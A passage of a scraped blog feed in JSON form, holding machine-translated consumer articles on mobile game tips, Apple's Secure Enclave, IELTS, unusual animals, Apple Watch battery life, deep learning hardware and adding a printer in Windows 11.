when the screen on the phone is of course smaller than the computer screen. The downside of FPP is that players will have limited visibility, but better aiming is an advantage over TPP.\nIn addition to just shooting and running, the FPP view will be more accurate because the gun's centerpiece is not much deviated from the TPP perspective, but this is only effective when you attack the enemy at close range.\n4. Use Tilting feature   \nUnder the default settings, the PUBG Mobile tilt feature will not be enabled when new to the game. If you do not know how to enable and use this feature, check out the article How to tilt the shooter in PUBG Mobile , you should use this tip in case of hiding behind a tree, rock or in a house Somewhat few people.\nMoreover, when tilting, your body will be less exposed to the enemy to attack, so be sure you can destroy the enemy, stick your head out.\n5. Just run and shoot   \nThis is a trick that most gamers use when being attacked, almost as if running and shooting is reflexive if you directly confront an enemy in front of you, unless you're using Scope. However, the projectile will be reduced to 50% accurately if you have just moved and released the bullet.\nSo use this tip in case of facing enemies at close range, usually about 10 meters away and should use Shotgun, especially S12K because this gun has great damage and has Auto shooting mode . Just watch it properly and release the bullet so you can get the enemy into the ark, don't get pissed off.\nHere are a few tips to help you control the PUBG Mobile character better, in addition to changing the settings in the Game settings section, you need to combine calmness into your control skills to win. easy.\nSee more:\nTop the best PUBG Mobile play emulators and download links PUBG Mobile: How to get free items with S4D Halloween events How to fix another version version PUBG Mobile ncG1vNJzZmismaXArq3KnmWcp51kvbauxmakqJqZobJuv8Stq6Kml6h6tbTArWSgoaaaerq71GaZnqykmr9ur86nq6unnGK8t7HRZrCoraJivam7zZ4%3D\n","link":"/post/settings-that-give-you-better-control-over-your-phone/","section":"post","tags":null,"title":"Settings that give you better control over your phone"},{"body":"As the player progresses through the game, the player will earn skill points that can be used to unlock Active Skills, Passive Boost, Weapon Techniques, and Valor Surges. These skills fall into 6 categories: Warrior, Trapper, Hunter, Survivor, Infiltrator and Machine Master.\nIn this article, learn all of the different abilities players can unlock in Horizon Forbidden West and recommendations for the best skills.\n  The best skills in Horizon Forbidden West The best skills in Horizon Forbidden West are the ones that help gamers play the way they want. However, there are still some slightly more prominent skills that new players can use.\nConcentration+, Deep Concentration, and Concentration Regen: The first three skills in the Hunter skill tree are all for Concentration, which allows time to be slowed while aiming his ranged weapon. Concentration is the most useful of all the skills of Horizon Forbidden West.\n  Potent Medicine and Medicine Capacity: The first and third skills in the Survivor skill tree improve the effectiveness and number of medicinal berries it will use to heal. This skill is good because the player will need to heal a lot in the game.\nPart Breaker: A Valor Surge skill, which means gamers need to buy 5 skills around to unlock it.\nBeing a Valor Surge skill means you'll need to build up your Valor through ranged and melee attacks. When Valor is charged, hold L1 and then press R1 to activate it.\nThis skill increases damage to machine components, helping to gather the most useful resources to upgrade his weapons and outfits.\n  The Warrior skill tree in Horizon Forbidden West Horizon Forbidden West's Warrior skill consists of 31 skill sets and techniques that increase Aloy's basic combat ability. Get skills from the Warrior skill tree to make yourself a stronger warrior.\n Skill Name Type Description  Aerial Slash/Jump-off Active skills Jump away from enemies to quickly reposition yourself or create distance.  Block Breaker Active skills A combo that instantly breaks the enemy's weapon protection.  Energy Surge Active skills Energize the spear quickly with a powerful final hit.  Halfmoon Slash Active skills Close the enemy with a quick attack.  Nora Warrior Active skills A powerful melee combo to take down small enemies and wow larger ones.  Resonator Blast Active skills Hit enemies with a spear to accumulate energy. Then tap R2 to energize the target before using the bow to shoot them for increased damage.  Spinning Scythe Active skills Build a powerful spin to attack all surrounding enemies.  The Destroyer Active skills A series of attacks that deal massive damage.  Critical Strike+ 1 Passive Boost Critical hits deal more damage.  Critical Strike+ 2 Passive Boost Critical hits deal more damage.  Energized Duration 1 Passive Boost Targets are powered for longer.  Energized Duration 2 Passive Boost Targets are powered for longer.  Melee Damage 1 Passive Boost Deal more damage with light and strong attacks.  Melee Damage 2 Passive Boost Deal more damage with light and strong attacks.  Power Attack+ Passive Boost Power attacks deal more damage.  Resonator Blast+ 1 Passive Boost Deal more damage with Resonator Blasts.  Resonator Blast+ 2 Passive Boost Deal more damage with Resonator Blasts.   Resonator Buildup 1 Passive Boost Power the spear faster.   Resonator Buildup 2 Passive Boost Power the spear faster.  Resonator Damage 1 Passive Boost Deals more damage while energizing the target.  Resonator Damage 2 Passive Boost Deals more damage while energizing the target.  Critical Boost Valor Surge Get a bigger change in Attack Count and Critical Damage (requires Resonator Blast Energized Duration and Critical Strike+).  Melee Might Valor Surge Attach the power module to the spear to deal more damage with short-duration melee attacks (requires Halfmoon Slash, Spinning Scythe, and The Destroyer).  Burst Fire Weapon Technique Shoot 3 arrows quickly in one go.  Melee Detonator Weapon Technique Fires a special arrow that explodes on melee attacks (requires Aerial Slash/Jump-off and Halfmoon Slash).  Spread Shot Weapon Technique Shoot 5 arrows horizontally.   Horizon Forbidden West ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdqLiquMusZKKmXZ28s7XZqKVmnp%2Bnr6qww56lZq%2BVqME%3D\n","link":"/post/the-best-skills-in-horizon-forbidden-west/","section":"post","tags":null,"title":"The best skills in Horizon Forbidden West"},{"body":"On a beautiful day, do you want to be completely offline, no traces on the network? The story is not as easy as you think.\nThose who often spend time on the Internet will probably want to disappear for a while, delete their accounts, every search history . as if they never knew what the Internet was. The 'digital identity' of each person online can be the gateway to many complicated things like harassing personal life .\n  Try disappearing online to see if it is possible?\nBut what does 'disappearing' really mean? Did deleting all social network accounts help you disappear?\nBradley Shear, a lawyer specializing in social networking and privacy also points out some ways to help you stay away from the Internet, but there's a warning that you'll have to change many things in your lifestyle. The ways she suggested include:\nDelete your Facebook account and other social networks (Facebook knows a lot about you and many other things you do online). If not, at least delete the usage data. Twitter and Facebook both store data and allow downloading so you can go to Settings and find a place to delete. More difficult is deleting Gmail. 'Every time you visit, they get your IP,' Shear said. Those who use encrypted mail services like ProtonMail must accept that it is impossible to send messages to Gmail or Yahoo users. Use VPN virtual private network services . Create 'fake facts': fake birthdays, fake emails . Search with DuckDuckGo instead of Google or Yahoo or other tracked search engines.   Looks like just erasing everything is done\nBut the truth is that all you do on this site doesn't help completely disappear from the Internet.\nSee also: Google's new Dashboard makes it easy to find collected Google information from users\nOur data is collected regularly and unfortunately many people do not know what they are being tracked, and how these data will be used. Ondrtej Krehel, CEO and founder of LIFARS, a company that specializes in digital and network security, explained how big tech companies caught our tails, and escaping them couldn't be simply by Delete the account.\nSee more: Turn off Facebook, take time to visit these 37 Web sites to add new knowledge every day\nncG1vNJzZmismaXArq3KnmWcp51kxKK602arqGWUnsCivM%2BemKtllqe8rnnToZxmoZ6psrO6xK1knaddrry2edOhoKejXZq%2For%2FIp55msZ%2Bqv26%2FzpygmqRdo7K1w86romaZk5i8trrTZqCsZZSku6Y%3D\n","link":"/post/want-to-disappear-from-the-internet-do-you-think-erasing-your-social-network-account-is-done/","section":"post","tags":null,"title":"Want to disappear from the Internet, do you think erasing your social network account is done?"},{"body":"iPhones and Macs have a Touch ID or Face ID that uses its own processor to handle users' biometric information. It's called the Secure Enclave, it's basically a complete computer and it offers a wide range of security features.\nSecure Enclave starts separately from the rest of the device. It runs its own small kernel, the operating system or programs running on the device cannot access this section directly. It has 4MB of flash memory, used exclusively for storing elliptic 256-bit personal keys. These keys are unique to your device and are never synced to the cloud or even the device's main operating system cannot be seen directly. Instead, the system requires Secure Enclave to decrypt the information using the keys.\nWhy does Secure Enclave exist?   Secure Enclave makes it difficult for many hackers to decrypt sensitive information without accessing your device. Because Secure Enclave is a separate system and the main operating system never sees these decryption keys, it is difficult to decrypt the data without proper access.\nPlease note, biometric information is not stored on the Secure Enclave; 4MB is not enough storage space for all that data. Instead, Enclave stores the encryption keys used to lock that biometric data.\nThird-party programs can also create and store keys in the Enclave to lock data, but applications never have access to those keys. Instead, applications that require Secure Enclave encrypt and decrypt data. This means any information encrypted with the Enclave is extremely difficult to decode on any other device.\nBelow is a reference to Apple documentation for developers:\nWhen storing a private key in Secure Enclave, the user instructs Secure Enclave to create a key, securely store it, and perform operations with it. You only receive the output of these operations, such as encrypted data or cryptographic signature verification results.\nSecure Enclave cannot import keys from other devices: it is specifically designed to create and use keys on your phone or computer. This makes it difficult to decode the information on any device.\nSecure Enclave hacked? Secure Enclave is complicated and makes it hard for hackers to access the device using this system. But nothing is absolutely safe. In the summer of 2017, hackers revealed that they had decrypted the Secure Enclave firmware, understanding how the Enclave works. However, it is worth noting that hackers have yet to find a way to retrieve the encryption keys stored in the Enclave: they only decrypt the software.\nDelete the Enclave before selling a Mac   The keys in the Secure Enclave on iPhone will be deleted when performing a factory reset. In theory, it will also be deleted when reinstalling MacOS, but Apple advises users to delete Secure Enclave on a Mac if they use anything except the official macOS installer.\nSee more:\nSecure iPhone after jailbreak 6 secure ways on iPhone Security \"security\" for iPhone. How many methods do you know? ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRpb2tsdJmqp6bpaeybrHNnKOarpVirq%2BwjKGmsGWUpLK0ecitZKmqn6mypMCMoqehp56aeqK6w2akmps%3D\n","link":"/post/what-is-apple-s-secure-enclave-and-how-does-it-protect-iphone-and-mac/","section":"post","tags":null,"title":"What is Apple's Secure Enclave and how does it protect iPhone and Mac?"},{"body":"Unlike TOEIC, IELTS is more international and academic than TOEIC. It is also a test of proficiency in using English language, but IELTS test scores of test takers at a higher level, even required if you want to study abroad or settle abroad. . So what is IELTS and how important it is, let's read the article below for more information.\nLearn about IELTS Reading skills and how to do effective reading Top 23 English language learning applications for Android and iOS What is GPA? What does GPA mean? Top 10 MOS training and certification centers 1. What is IELTS? IELTS stands for International English Language Testing System with 4 skills of Listening, Speaking, Reading and Writing. IELTS was founded by 3 ESOL organizations of Cambridge University, British Council and educational institution IDP (Australia) established in 1989.\nIELTS Academic (academic): Type of academic study for undergraduate or post-graduate institutions, institutions of higher education. IELTS General (general training): This type of general training is for those who want to take vocational courses, find jobs, migrate. Today IELTS is accepted in many countries such as Australia, UK, Canada, Ireland, New Zealand and South Africa and if you want to settle in Australia and Canada you will also need an IELTS degree. IELTS test results will be valid for 2 years, after the time you have to retake the exam to get a certificate.\n  2. What does IELTS mean? The IELTS exam measures all 4 skills of the test taker, confirming your level of education through the test score, which creates a reputation for the school, especially for those who want to study abroad and apply for a job.\nSome schools will be considered for direct admission to some universities if the test score is 6.5 IELTS or above such as National Economics University, Foreign Trade University, Ho Chi Minh City University of Technical Education, Hoa Sen University Ho Chi Minh City, FPT University majoring in English Language .\nWith IELTS, job opportunities are much more promoted, career development, confidence increase when we work with foreign companies.\n3. Things to know about the IELTS test 1. Listening test\nThe listening test takes 40 minutes with 40 questions, the difficulty is increased with different voices, it can only be heard once and there are 4 parts in the listening test.\nPart 1: Daily life situations, mainly question and answer dialogue Part 2: Guiding situations and introduction to a familiar topic, spoken by one person Part 3: Dialogue between at least 2 people, the discussion is more academic. Part 4: Presentation on an academic topic, by one speaker.   2. Reading test\nGeneral test\n60 minutes test with 40 sentences, topics about daily situations, or extracts from books, newspapers, advertisements, manuals to assess the ability of analyzing information of the test. Read the description.\nAcademic test\n40 questions in 60 minutes, including 3 parts and the question answer, each part is a paragraph of about 1500 words and questions, which is the essay content.\n  3. Written test\nGeneral test\nExam time 60 minutes, divided into 2 different sections:\nPart 1: Write a 150-letter letter to ask for information or explain a situation. Part 2: Write a 250-word essay giving your opinion about a problem. For this article, the test taker needs to give his or her own opinion, so give some specific situations or examples to support your opinion. Academic test\nPart 1: Write a 150-word report to explain data on a map, or a process phenomenon in the form of a picture. Part 2: Write a 250-word essay giving a debate or comment on a problem. An example is also needed to clarify your opinion. 4. Speaking test\nThe test will take about 15 minutes to answer directly with the examiner. There are 3 parts in the speaking test:\nPart 1: Answer questions about common topics like hobbies, dreams, etc. Part 2: Contestants receive questions from judges, request a description of the phenomenon, events related to you with 4 suggestions. Part 3: The asker will ask further questions on the topic related to the phenomena and facts you have presented above. The speaking test will be assessed through 4 factors: ability to answer fluently, vocabulary, pronunciation and pronunciation.\n  4. IELTS assessment scale The way to calculate IELTS score is the average of the 4 skills. If the average score is an odd number of .25 is rounded up .5, if it is odd .75 then rounded to 1.0.\nEach test scale will assess the learners' ability to use English differently.\n9: Fluent. 8: Very well. 7: Good. 6: Pretty 5: Normal. 4: Limited. 3: Extremely limited. 2: Poor. 1: Do not know how to use. 0 - Skip the exam.   Hope this article was helpful to you!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWZmrm1v4ytn6Kml6h6tbuMpKWor12Wr7DB02agnqSkqA%3D%3D\n","link":"/post/what-is-ielts-things-to-know-about-ielts/","section":"post","tags":null,"title":"What is IELTS? Things to know about IELTS"},{"body":"  Big butt ants are one of the insects that own extremely impressive looks with a \"super huge\" butt. This species is usually found in Venezuela and Paraguay.\n  It looks weird, but the big butt ants are a specialty of Colombia and taste great. They are made into dishes such as baking or making pizza topping, the most favorite dish is the ant butt.\n  Originating from Southeast Asia, vampire crabs are among the most unusual species that can be remembered only once in a lifetime. The reason for such names because they possess bright yellow eyes, often live and hunt at night.\n  This peculiar long-nosed mouse like Pinnochio has the name of an elephant shrew, an animal native to Africa. The characteristic of a long-nose shrew is extremely shy, hard to detect because it always knows how to camouflage and run extremely fast.\n  Especially, this strange species is not related to mice. They even have menstrual cycles just like humans do.\n  A sandbag hornbill weighs an average of 3kg, but in that large beak they account for 11% of body weight. This particular bird is popular in Malaysia, Thailand, Myanmar, .\n  The red-faced Uakari monkeys are easily recognized because their faces are always as red as a drunk. They have an outstanding long yellow coat, a small tail and are now animals in the Red Book that need to be preserved.\n  Possessing a rat's face but long legs like a kangaroo, that is the identity of the gerbil. These tiny mice have large hind legs and are about 4 times longer than the front legs, moving by jumping continuously.\n  The image of big bats as people appearing on social networks has caused a stir in the public opinion, making many people terrified. Actually, this \"super big\" bat, called a flying fox, weighs about 1.4kg, and looks scary, but they are completely harmless to the hobby of \"eating\" fruits or insects.\n  One of the tallest wolves in the world, the mane lives mainly in the grasslands of South America and has not been identified as a \"dog\" or wolf. There are currently about 17,000 animals in the world and they are listed in the World Red Book.\n  Dik Dik antelope is only 30-40cm tall but has a \"hotgirl\" face among the antelope. The sound of the species is said to be unique, used to warn fellow people when danger lurks.\n  The Akhal-Teke golden horse is known to be one of the most beautiful beasts on the planet when it comes to possessing a gold-like, gorgeous coat and outstanding intelligence. However, this species is extremely rare and only exists in the world about 6,600 individuals.\nncG1vNJzZmismaXArq3KnmWcp51kfnF5wKegppmcqHq4tdOhZKannqjBs7vUrGSaqKCarrOtzZyc\n","link":"/post/10-animals-with-monstrous-appearance/","section":"post","tags":null,"title":"10 animals with monstrous appearance"},{"body":"Apple Watch is a smart device that is not too unfamiliar to anyone anymore. But how to improve Apple Watch battery life\u0026nbsp; \u0026nbsp;simply and effectively? This article will help you answer this question. Please follow the following article!\nCurrently, from the\u0026nbsp; Apple Watch Series 5 \u0026nbsp;onwards (except for the\u0026nbsp; SE ) feature\u0026nbsp; Always On Display \u0026nbsp;instead of double tap the screen or rotate your wrist as before. However, this makes your watch consume a lot of energy.\nTo limit energy consumption unnecessary, you go to\u0026nbsp; the General settings\u0026nbsp; (General)\u0026gt; Select\u0026nbsp; Screen \u0026amp; Brightness\u0026nbsp; (Display \u0026amp; Brightness)\u0026gt; Select\u0026nbsp; Always light \u0026nbsp;(Always On)\u0026gt; Brushing button\u0026nbsp; Always light\u0026nbsp; left to Turn off.\n  Apple Watch uses\u0026nbsp; an OLED screen , characterized by light emitting technology, each pixel on the screen gives a different color. To display black pixels simply turn those pixels off. So bringing your watch face dark colors will help save battery power significantly.\n  Simply long press the watch face, then scroll left or right to find the color you want. Or click on the '+' sign to add a new color. If you want to delete a color no longer use, then just swipe it up and select\u0026nbsp; Delete\u0026nbsp; (Remove).\nBrightness is also one of the factors that consume a lot of energy. The greater the luminosity, the more energy will be consumed. Therefore, adjusting the brightness to a moderate level will help save battery life.\nTo decrease the brightness, you on applications\u0026nbsp; Clock\u0026nbsp; (Watch)\u0026gt; Select\u0026nbsp; Display and Brightness\u0026nbsp; (Display \u0026amp; Brightness) on the phone, and then adjusted to a reasonable level is complete.\n  Just like on a phone, push notifications are also a factor in the watch's energy consumption. For unnecessary apps, you should turn off that app's notifications so you don't consume too much power.\nYou just need to apply\u0026nbsp; Clock \u0026nbsp;(Watch) on\u0026nbsp; the iPhone \u0026nbsp;\u0026gt; Select\u0026nbsp; Notifications\u0026nbsp; (Notifications) \u0026nbsp;\u0026gt; \u0026nbsp;Select \u0026nbsp;Activity\u0026nbsp; (Activity). Then turn off the notifications for the app you don't want it to show up on your watch.\n    Listen to call right on Apple Watch is a very remarkable feature. However, this can cause your watch to consume a lot of energy. For calls under 5 minutes, the consumption is not much, but for calls longer than that, you should use the phone to avoid reducing the battery performance of the watch.\n  Heart rate \u0026nbsp;is one of the while exercising and sports is one of the standout features of the Apple Watch, but not everyone uses it. In case you do not need to use you can turn off this feature to save some battery.\nOnce you've turned off heart rate measurement, the Apple Watch still helps you measure other metrics like time, distance, speed, and time while exercising.\nTo turn off you need to open the app\u0026nbsp; Watch \u0026nbsp;on iPhone or item\u0026nbsp; Settings\u0026nbsp; on Apple Watch\u0026gt; Select\u0026nbsp; Workout \u0026nbsp;(Workout) \u0026nbsp;\u0026gt; \u0026nbsp;Swipe left to turn off the\u0026nbsp; Power Saving\u0026nbsp; (Power Saving Mode). Note that when Power Saving mode is on, the calculation of calories burned may be slightly misleading.\n  Apple Watch allows users to sync with music with\u0026nbsp; the phone . In some cases like sports training, you'll use the watch as a music player instead of your phone. However, this has a lot to do with the power consumption of the watch battery.\n  You can also use cellular data to play music. This, of course, consumes a lot of the same amount of energy as it does on a phone.\nIn these cases it is recommended that you use your phone instead of the Apple Watch to protect the watch's battery performance.\nApple Watch Series 4 and earlier models both support display when the wrist is raised. This makes it easy to check notifications as well as fast incoming calls.\nHowever, you do not always raise your wrist to view your watch, but it will still be displayed. This will unnecessarily drain energy.\nYou can disable this feature by opening the app\u0026nbsp; Watch \u0026nbsp;on iPhone or item\u0026nbsp; Settings \u0026nbsp;on Apple Watch the item\u0026nbsp; General settings \u0026nbsp;(General)\u0026gt; Select Wake screen \u0026nbsp;(Wake Screen)\u0026gt; Select\u0026nbsp; Awaken while improving wrist \u0026nbsp;(Wake On Wrist Raise).\u0026nbsp;\n  The notification display feature of other applications such as weather, notes, reminders, . are outstanding features that motivate customers to buy Apple Watch. However, the more useful the feature is, the more energy it consumes. Your Apple Watch will have to pull information data from many places, causing significant energy consumption.\n  You can limit this by turning off unnecessary applications. To disable notifications of these apps, you hold the watch's screen, and select\u0026nbsp; Edit\u0026nbsp; (Edit). Swipe up to see which apps are running on the watch and select the ones you want to turn off.\nWhen you download a new application on your phone, it is also installed on your watch. And running background information of these applications will affect battery consumption.\nTo manage this problem you just go to\u0026nbsp; Settings\u0026nbsp; (Settings)\u0026gt; Select\u0026nbsp; Settings General\u0026nbsp; (General)\u0026gt; Select\u0026nbsp; Automatically refresh wallpaper\u0026nbsp; (Background App Refresh) and off to limit the display of frequent and download data new on Apple Watch.\n  Bluetooth LE \u0026nbsp;(Low Energy) is designed for the connection between Apple Watch and iPhone. This type of Bluetooth reduces energy consumption significantly instead of using\u0026nbsp; Wi-Fi , a signal that consumes a lot of energy.\nSo if you want to maintain the performance of your watch battery, you should turn on Bluetooth on a regular basis on your iPhone to connect with your Apple Watch.\n ​\nIn some cases, the energy consumption is sometimes more than what you used to use. This is partly due to software or hardware errors on the iPhone or Apple Watch.\nIf you don't use sports tracking and live calls on your Apple Watch, the power consumption is a lot. In this case, it's possible your watch or iPhone is having a big problem.\nOn the phone you can check the error by going to\u0026nbsp; Settings\u0026nbsp; (Settings) \u0026nbsp;\u0026gt; Select\u0026nbsp; Settings General\u0026nbsp; (General)\u0026gt; Select\u0026nbsp; Update software\u0026nbsp; (Software Update).\nOn the Apple Watch, you can Watch on iPhone apps,\u0026nbsp; General settings\u0026nbsp; (General)\u0026gt; Select\u0026nbsp; Update software\u0026nbsp; (Software Update).  Sometimes the Apple Watch just needs to be restarted to fix this. You can restart by the right button until the Apple Watch out lines\u0026nbsp; Power off \u0026nbsp;(Power Off) .\n  If, after doing these steps, you still cannot fix the error, you can disconnect the iPhone and try again. To interrupt pairing, you open the app\u0026nbsp; Watches\u0026nbsp; (Watch) \u0026nbsp;\u0026gt; \u0026nbsp;Clock My\u0026nbsp; (My Watch) \u0026nbsp;\u0026gt; \u0026nbsp;All watches\u0026nbsp; (All Watches) in the upper left corner, next select Info button in the \" i \" next watch you want to unpair.\nIn the next menu page, select\u0026nbsp; Disconnect watches paired Apple\u0026nbsp; (Unpair Apple Watch). Once the restart is complete, simply reopen the Watch app on your phone and re-pair it with your Apple Watch.\nIf necessary you can restore the original settings for the Apple Watch her by on\u0026nbsp; my watch\u0026nbsp; (My Watch)\u0026gt; Select\u0026nbsp; Settings General\u0026nbsp; (General)\u0026gt; Choose\u0026nbsp; Reset\u0026nbsp; (Reset)\u0026gt; Select\u0026nbsp; Restore original settings\u0026nbsp; (Erase All Content and Settings). After the watch has successfully restarted, simply pair it with the iPhone again.\n  If all of the above steps fail to solve the problem you are having, you need to contact where you bought your Apple Watch immediately for a warranty or replace the battery for your watch.\nHey Siri is a very useful feature of Apple Watch in particular and Apple in general. But it is not always necessary to use this feature. So you can turn it off when not needed.\nSimply open the Watch app\u0026nbsp; \u0026nbsp;on your iPhone or\u0026nbsp; Settings\u0026nbsp; on Apple Watch\u0026gt; Select\u0026nbsp; Siri\u0026nbsp; \u0026gt; \u0026nbsp;Swipe left to turn off\u0026nbsp; 'Hey Siri' Listening\u0026nbsp; (Listen for 'Hey Siri') .\u0026nbsp; If you open the \u0026nbsp;Raise hand to speak\u0026nbsp; (Raise to Speak), you can still communicate with Siri but lifting up your wrist.\nReducing Haptic feedback also helps save energy for your watch, especially when you have to receive too many notifications. To turn this feature off, you open the app\u0026nbsp; Watch \u0026nbsp;on iPhone or item\u0026nbsp; Settings \u0026nbsp;on Apple Watch\u0026gt; Select\u0026nbsp; Audio and Kinesthetic\u0026nbsp; (Sound \u0026amp; haptics) \u0026nbsp;\u0026gt; Swipe left to disable the\u0026nbsp; feature tactile feedback\u0026nbsp; (Crown haptics). You can also select\u0026nbsp; Default\u0026nbsp; (Default ) \u0026nbsp;instead\u0026nbsp; Highlights\u0026nbsp; (Prominent) to save energy.\n ​​\nOr you can also mute notifications.\u0026nbsp;Do Not Disturb\u0026nbsp; (Do Not Disturb) disable notifications of incoming calls. Mode\u0026nbsp; Silence\u0026nbsp; (Theater) features muted\u0026nbsp; Raise hands to display screen\u0026nbsp; (Raise to Wake), the sound of Apple Watch, and notifications for incoming calls.\nAbove are articles about 13 ways to help improve Apple Watch battery life simple and efficient. Thank you for your interest and stay tuned for the next article!\nncG1vNJzZmismaXArq3KnmWcp51kfnR50q2cqatdqbxutcypqaiulWKusbzLnmSwmaSYtW6uwK2rnqqpYrmqssQ%3D\n","link":"/post/13-steps-to-improve-apple-watch-battery-life/","section":"post","tags":null,"title":"13 steps to improve Apple Watch battery life"},{"body":"Deep learning in the future may require a new, flexible and easy-to-work programming language than Python, which is the remark of Yann LeCun, Facebook's AI research director, one of the leading experts in the field of artificial intelligence at the present time. Why is this expert predicting that?\n'It is not yet clear whether a new programming language must necessarily be created, however, this is necessary to change the mindset of a large number of researchers and researchers. Information technology professors who are very conservative in issues related to artificial intelligence. In fact, there have been a number of projects in Google, Facebook and many other technology companies in designing a new programming language, compiled in a way that can be more effective for deep development. learning, but I'm not sure if the community will follow it, because people just want to use Python, 'said Yann LeCun.\n  Artificial intelligence was able to write an article just from some information Developing a new programming language is it a reasonable approach? According to the recent Octoverse report of GitHub, Python is currently the most commonly used language because developers are working on machine learning projects, and the language also contributes to the image. build up PyTorch framework of Facebook, and TensorFlow of Google\nMr. Yann LeCun presented an article at International Solid-State Circuits Conference (ISSCC) that took place on February 19 in San Francisco, learning about the latest trends in machine learning development. In it, the first part of the article tells the lessons that Yann LeCun learned from Bell Labs, including his observations of how AI researchers and computer scientists often have coins. The direction associated with the hardware and software tools together.\nIs artificial intelligence part of Computer Science? Hardware issues Artificial intelligence is more than 50 years old, over half a century of formation and development, but the current increase in importance and the practical application of this technology in recent times have been The direction is closely linked with the growth in computing power, provided by computer chips and related hardware components.\nYann LeCun has worked for a long time at Bell Labs, since the 1980s, as well as being responsible for ConvNet's AI development (CNN), and he came to the conclusion that better hardware will contribute to creating Better algorithms, better performance.\n  In the early 2000s, after leaving Bell Labs and joining New York University, Yann LeCun worked with many other bright stars in the AI ​​field, such as Yoshua Bengio and Geoffrey Hinton, conducting research to revive the relationship. mind about neural networks and promoting the popularity of deep learning.\nIn recent years, advances in hardware - such as Field-Programmable Gate Arrays - FPGAs (a special integrated circuit or a chip can be programmed within its scope after being manufactured) , the Tensor processor chips (TPU) from Google, and the graphics processing chip (GPU) - have played a big role in the growth of the AI ​​industry.\n'These types of hardware have a great impact on the research that people are doing, and therefore, the direction of AI in the next decade will be greatly affected by the development of hardware. . Of course computer science researchers do not want to be bound by the limits of hardware, but the reality is that '.\nIn addition, Mr. Yann LeCun also emphasized that some AI-related hardware manufacturers should consider and make recommendations about the type of architecture needed in the near future, possibly in the next few years, in advance. Increasing scale of deep learning systems. Besides the need for hardware to be designed specifically for deep learning, it can be handled on a large scale, instead of having to handle many training samples to run a network of gods. The capital is currently the standard.\n'For example, if you only run a single image, you won't be able to exploit all the computing power available in the GPU. Basically, you will waste resources, so developers should also think about some of the more effective neural network training methods. '\n  [Infographic] Future work when artificial intelligence gradually replaces people In the article, Mr. Yann LeCun also reiterated his belief that supervised self-study will play a key role in promoting the development of modern AI. He believes that future deep learning systems will largely be trained with supervised self-study, and modern hardware with higher performance will be essential to support self-directed learning. so close.\nLast month, Mr. Yann LeCun also held a discussion on the importance of self-monitoring learning as part of the prediction of the AI ​​trend in 2019. Hardware can handle the Self-monitoring learning will be important for Facebook, as well as autopilot, robotics and many other forms of technology.\nncG1vNJzZmismaXArq3KnmWcp51krqp5xKeeoqaVmr9ussCcnJunn6B6ta3LpKpmmZKkwrV5w56cqWWcmq6zusinnmamlax6sb7OoKmapZ2eu6h5y5qloK2RnLK0eYR%2BaV5wYFqFg3Gka1xxaFVtj6K6w2afmqqUrK6zsYyfpqtlkafBqrLInKCapF2eu7Wxy6WgoJ2emLI%3D\n","link":"/post/ai-engineer-facebook-talks-about-deep-learning-new-programming-languages-and-hardware-for-artificial-intelligence/","section":"post","tags":null,"title":"AI engineer Facebook talks about deep learning, new programming languages ​​and hardware for artificial intelligence"},{"body":"Those who like ASMR will surely also indulge in the soothing music and sound of the rain while playing Cats \u0026amp; Soup.\nCats \u0026amp; Soup is an idle game. Players will have to support cute cats to make hearty dishes for customers. It sounds simple, but in fact, Cats \u0026amp; Soup has a lot of work that requires players to perform. In the following Cats \u0026amp; Soup tips, let's find out the things and tasks that gamers need to do in this relaxing game.\nAvoid auto-selling items Ready-to-sell items are displayed at the bottom of the screen. If you do not press to sell to the customer, the items will continue to accumulate at the bottom until there is no space left to sell more.\n  When 8 items are collected at the bottom of the screen, the first item on the left side will automatically be sold at a huge discount.\nThe player will only earn 50% of the original price of that product. To avoid such huge losses, quickly tap on the items to sell them at the right price.\nUpgrade the kitchen area to increase the price of food   Upgrading the main kitchen area in the middle will increase the price of all the soups. To upgrade the cooking place, tap it then tap the level number and be taken to the level up screen. Gamers need to have enough gold to level up.\nUpgraded cutting areas The best way to increase the price of soup is basically to upgrade all the slicing stations like the ones where the carrots and cabbage are cut.\nTap the carrot or cabbage slicer and then tap their level number. Everyone will need a lot of gold to upgrade the slicing tools. However, the price for all the soups will go up a lot, so it's totally worth it.\n  As people progress, people will unlock advanced gadgets, such as peelers and juicers. Upgrade all tools to increase the selling price of the finished dish\nUse recipe points to increase the price of soup Players will earn recipe points from rest areas. Tap the hammer icon in the lower right corner of the screen to open the build menu. Head to the Rest and then book a rest facility for the cats. After a hard day chopping vegetables, these adorable cats deserve a break and play.\n  Make a Bower or Trampoline for your cats so they can enjoy some shade, listen to music, and have fun after a tiring day at work. When they leave their resting place, the player will receive recipe points (green lightning bolt icon). Tap that icon to collect recipe points (they will also be collected automatically).\nNow tap on the red bound pamphlet next to the hammer icon. A new menu will appear on the screen. Here, gamers can use recipe points to increase the price of soups, such as carrot soup, cabbage, . according to a certain ratio.\nCats \u0026amp; Soup ncG1vNJzZmismaXArq3KnmWcp51ksKLA0mZkmqaUYnq0u9SpZK2hoKh6p7vRZpmen5mju6a%2B0g%3D%3D\n","link":"/post/cats-soup-tips-for-beginners/","section":"post","tags":null,"title":"Cats \u0026amp; Soup Tips for Beginners"},{"body":"This article will show you how to add a printer on a Windows 11 PC\nAdd a printer on Windows 11 First, make sure your printer is powered on and plugged in if it's a traditional wired printer. For WiFi printers, make sure the device is connected to the same network as your computer.\nWindows 11 automatically downloads the software your printer needs to work.\nTo add a printer to your Windows 11 system, first click on the Start button, enter the keyword 'Settings' in the search bar and press Enter. Alternatively, you can also press Windows + i to open the Settings app. On the left side of the Settings menu that opens, click 'Bluetooth \u0026amp; devices'.\n  On the next page, click 'Printers \u0026amp; scanners'.\n  On the Printers \u0026amp; scanners page, click the 'Add device' button near the top right. It will take some time for Windows to try to detect your printer.\n  If your printer does not appear, click 'Add manually'. A pop-up window will pop up, showing you a few options.\nClick on 'My printer is a little older. Help me find it' if you plug the printer into your computer. In case it is a wireless printer, select 'Add a Bluetooth, wireless or network discoverable printer'.\nOnce you've made your selection, click 'Next'.\n  If Windows 11 detects the printer, simply follow the onscreen suggestions to establish the connection.\nPrinter Troubleshooting If unfortunately you are having trouble connecting the printer to your Windows PC, here are some remedies you can try.\nRestart your Windows 11 PC In some situations, you can restart your Windows 11 PC to fix problems, install updates, complete the installation process, or perform some other necessary tasks. If your printer is not detected or detected but not working correctly, restarting your PC may help resolve the issue.\nDouble check the instructions Today's modern printer models often come with a lot of convenient extras, but they also come with possible problems with the setup process. 